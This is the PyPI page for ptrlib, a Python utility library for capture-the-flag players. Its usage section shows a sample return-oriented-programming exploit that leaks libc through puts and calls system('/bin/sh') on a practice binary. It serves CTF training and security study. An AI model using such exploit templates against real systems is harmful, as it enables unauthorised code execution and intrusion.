Skip to main content

CTF library

Project description

ptrlib

Python application

Python library which bundles security-related utilities.

Description

Ptrlib is a Python library for CTF players. It's designed to make it easy to write a complex program of cryptography, networking, exploit and so on.

Requirements

Supports: Python 3.x

Library Dependency:

  • pycryptodome
  • pywin32 (If you want to handle Windows process)

External Program:

  • If you want to use SSH function, the following programs are required:
    • ssh (Default path: /usr/bin/ssh)
    • expect (Default path: /usr/bin/expect)

Usage

Basic examples are available at /examples.

Quick Document

There are many functions in ptrlib but let's see how to use it for pwn. You can run executable or create socket like this:

sock = Process("./pwn01")
sock = Process(["./pwn01", "--debug"])
sock = Socket("localhost", 1234)
sock = SSH("example.com", 22, username="ubuntu", password="p4s$w0rd")
sock = SSH("example.com", 22, username="ubuntu", identity="./id_rsa")

If you have the target binary or libc, it's recommended to load the binary first.

elf = ELF("./pwn01")
libc = ELF("./libc.so.6")

And you can use useful methods such as got, plt, symbol, section and so on. The following is the pwn example of ROP stager.

plt_gets = elf.plt("gets")
stage2 = elf.section(".bss") + 0x400

payload = b'A' * 0x108
payload += flat([
  rop_pop_rdi,
  elf.got("puts"),
  elf.plt("puts"),
  rop_pop_rdi,
  stage2,
  elf.plt("gets"),
  rop_pop_rbp,
  stage2,
  rop_leave_ret
], map=p64)
sock.sendlineafter("Data: ", payload)

libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc base = " + hex(libc_base))
libc.set_base(libc_base)
payload = b'A' * 8
paylaod += p64(rop_pop_rdi)
payload += p64(next(libc.find("/bin/sh")))
payload += p64(libc.symbol("system"))
sock.sendline(payload)

sock.interactive()

Install

Run pip install ptrlib or python setup.py install.

Licence

MIT

Author

ptr-yudai

Contributor

Feel free to make a pull request / issue :)

  • theoremoon
    • Added/fixed several cryptography functions
    • Added buffering of Socket/Process
    • Added status check (CI test)
  • keymoon
    • Added algorithm package

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distributions

No source distribution files available for this release.See tutorial on generating distribution archives.

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

ptrlib-1.4.0-py3-none-any.whl (135.7 kB view details)

Uploaded Python 3

File details

Details for the file ptrlib-1.4.0-py3-none-any.whl.

File metadata

  • Download URL: ptrlib-1.4.0-py3-none-any.whl
  • Upload date:
  • Size: 135.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.4.2 importlib_metadata/4.8.1 pkginfo/1.7.1 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.62.3 CPython/3.9.6

File hashes

Hashes for ptrlib-1.4.0-py3-none-any.whl
Algorithm Hash digest
SHA256 257ba9e3338ed9791dbb6d998ce3ba7c75f4f9c417f3e3161d810cafbb0514bd
MD5 36667c155857295668822be9f3e763ac
BLAKE2b-256 60a8b710f2fed3ded1057baab64afe94d568826ce53644dfceb8a4e56a8c3e43

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page